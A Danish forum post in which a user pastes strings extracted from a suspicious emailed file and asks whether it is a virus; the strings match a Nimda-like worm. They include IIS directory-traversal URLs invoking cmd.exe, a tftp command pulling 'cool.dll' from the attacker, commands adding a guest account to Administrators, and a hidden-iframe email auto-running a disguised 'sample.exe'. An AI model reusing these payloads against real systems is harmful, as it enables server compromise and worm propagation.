Mystisk fil...
Jeg fik tilsendt en mystisk fil fra en mærkelig e-mail adresse (klownkilla21@hotmail.com)Her er lidt af den...
. System\\CurrentControlSet\\Services\\VxD\\MSTCP NameServer SYSTEM\\CurrentControlSet\\Services\\Tcpip\\Parameters\\Interfaces\\ SYSTEM\\CurrentControlSet\\Services\\Tcpip\\Parameters\\Interfaces Concept Virus(CV) V.6, Copyright(C)2001, (This\'s CV, No Nimda.) MIME-Version: 1.0
Content-Type: multipart/related;
type=\"multipart/alternative\";
boundary=\"====_ABC123456j7890DEF_====\"
X-Priority: 3
X-MSMail-Priority: Normal
X-Unsent: 1
--====_ABC123456j7890DEF_====
Content-Type: multipart/alternative;
boundary=\"====_ABC09876j54321DEF_====\"
--====_ABC09876j54321DEF_====
Content-Type: text/html;
charset=\"iso-8859-1\"
Content-Transfer-Encoding: quoted-printable
<HTML><HEAD></HEAD><BODY bgColor=3D#ffffff>
<iframe src=3Dcid:EA4DMGBP9p height=3D0 width=3D0>
</iframe></BODY></HTML>
--====_ABC09876j54321DEF_====--
--====_ABC123456j7890DEF_====
Content-Type: audio/x-wav;
name=\"sample.exe\"
Content-Transfer-Encoding: base64
Content-ID: <EA4DMGBP9p>
--====_ABC123456j7890DEF_====
NUL=
[rename]
\\wininit.ini C:\\ Personal Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\Shell Folders \\ .. \\*.* € €EXPLORER fsdhqherwqi2001 efqpm2300dfhroop SYSTEM\\CurrentControlSet\\Services\\lanmanserver\\Shares\\Security share c$=c:\\ user guest \"\" localgroup Administrators guest /add localgroup Guests guest /add user guest /active open user guest /add net HideFileExt ShowSuperHidden Hidden Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\Advanced %ls \\\\%s %ld %ld %ld %ld %ld Image Space Exec Write Copy Image Space Exec Read/Write Image Space Exec Read Only Image Space Executable Image Space Write Copy Image Space Read/Write Image Space Read Only Image Space No Access Mapped Space Exec Write Copy Mapped Space Exec Read/Write Mapped Space Exec Read Only Mapped Space Executable Mapped Space Write Copy Mapped Space Read/Write Mapped Space Read Only Mapped Space No Access Reserved Space Exec Write Copy Reserved Space Exec Read/Write Reserved Space Exec Read Only Reserved Space Executable Reserved Space Write Copy Reserved Space Read/Write Reserved Space Read Only Reserved Space No Access Process Address Space Exec Write Copy Exec Read/Write Exec Read Only Executable Write Copy Read/Write Read Only No Access Image User PC Thread Details ID Thread Priority Current Context Switches/sec Start Address Thread Page Faults/sec Virtual Bytes Peak Virtual Bytes Private Bytes ID Process Elapsed Time Priority Base Working Set Peak Working Set % User Time % Privileged Time % Processor Time Process Counter 009 software\\microsoft\\windows nt\\currentversion\\perflib\\009 Counters Version Last Counter software\\microsoft\\windows nt\\currentversion\\perflib /scripts /MSADC /c /d /scripts/..%255c.. /_vti_bin/..%255c../..%255c../..%255c.. /_mem_bin/..%255c../..%255c../..%255c.. /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c.. /scripts/..%c1%1c.. /scripts/..%c0%2f.. /scripts/..%c0%af.. /scripts/..%c1%9c.. /scripts/..%%35%63.. /scripts/..%%35c.. /scripts/..%25%35%63.. /scripts/..%252f.. /root.exe?/c+ /winnt/system32/cmd.exe?/c+ net%%20use%%20\\\\%s\\ipc$%%20\"\"%%20/user:\"guest\" tftp%%20-i%%20%s%%20GET%%20cool.dll%%20 httpodbc.dll c:\\httpodbc.dll d:\\httpodbc.dll e:\\httpodbc.dll
<html><script language=\"JavaScript\">window.open(\"readme.eml\", null, \"resizable=no,top=6000,left=6000\")</script></html> /httpodbc.dll dir GET %s HTTP/1.0
Host: www
Connnection: close
c: readme main index default html .asp .htm \\readme.eml .exe mep winzip32.exe riched20.dll .nws .eml .doc .exe dontrunold ioctlsocket gethostbyname gethostname inet_ntoa inet_addr ntohl htonl ntohs htons closesocket select sendto send recvfrom recv bind connect socket __WSAFDIsSet WSACleanup WSAStartup ws2_32.dll MAPILogoff MAPISendMail MAPIFreeBuffer MAPIReadMail MAPIFindNext MAPIResolveName MAPILogon MAPI32.DLL WNetAddConnection2A WNetCancelConnection2A WNetOpenEnumA WNetEnumResourceA WNetCloseEnum MPR.DLL ShellExecuteA SHELL32.DLL RegisterServiceProcess VirtualFreeEx VirtualQueryEx VirtualAllocEx VirtualProtectEx CreateRemoteThread HeapCompact HeapFree HeapAlloc HeapDestroy HeapCreate KERNEL32.DLL SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\App Paths\\ SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\App Paths Type Remark X:\\ SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Network\\LanMan\\X$ Parm2enc Parm1enc Flags Path SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Network\\LanMan\\ SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Network\\LanMan SYSTEM\\CurrentControlSet\\Services\\lanmanserver\\Shares
Cache Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\MapMail QUIT
.
Subject: From: < DATA
RCPT TO: < >
MAIL FROM: < HELO aabbcc e:\\httpodbc.dll d:\\httpodbc.dll c:\\httpodbc.dll -dontrunold NULL \\sample*.exe httpodbc.dll bindes39qp -bindes39qp \\CSRSS.EXE \\riched20.dll boot Shell explorer.exe load.exe -dontrunold \\system.ini \\load.exe \\\\ octet
Det jeg synes virker mærkeligt er at det ser ud til at filen prøver at omdøbe (rename) Wininit.ini og åbentbart også prøver at sende en e-mail...
Kunne dette være en virus??
Nå, men da jeg åbnede programmet skete der... ingenting! wininit.ini er der stadig og der er ikke blevet sendt nogen e-mail.
Nu ved jeg ikke så meget om den slags så er her nogen der kan fortælle mig mere end jeg tror/ved...?
